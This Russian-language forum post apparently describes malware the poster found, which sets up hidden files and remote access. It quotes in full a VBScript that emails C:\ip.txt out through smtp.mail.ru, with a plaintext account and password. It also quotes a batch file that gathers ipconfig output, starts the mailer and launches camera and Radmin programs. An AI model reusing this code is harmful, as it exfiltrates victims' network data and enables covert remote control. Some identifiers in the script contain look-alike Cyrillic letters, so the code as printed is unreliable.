Hulio
Сообщений: 89
Оценки: 0
Присоединился: 2011-04-03 16:00:09.076666
|
Зря Ltonid удалил моё сообщение… Добавлю. Создаёт скрытые файлы: скрипт: Const cdoSendUsingPickup = 1 Set objMessage = CreateObject("CDO.Message") objMessage.Subject = "Проверка" objMessage.From = "mr.fukushima@mail.ru" objMessage.To = "mr.fukushima@mail.ru" objMessage.Textbоdу = "Привет" objMessage.AddAttachment "C:\ip.txt" objMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 objMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru" objMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = NONE objMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru" objMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "mr.fukushima" objMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "japended" objMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 587 objMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = False objMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 60 objMessage.Configuration.Fields.updаtе objMessage.Send Wsсriрt.Quit Батник: @echo off ipconfig /all >>C:\ip.txt start mail.vbs start cam.exe start rad.exe ещё распаковываются два инсталлятора: radmin и ещё, если не ошибаюсь какая-то следящая х-ня. Оказывается всего 11 объектов на автозагрузку идёт! Сначала я написал три.
|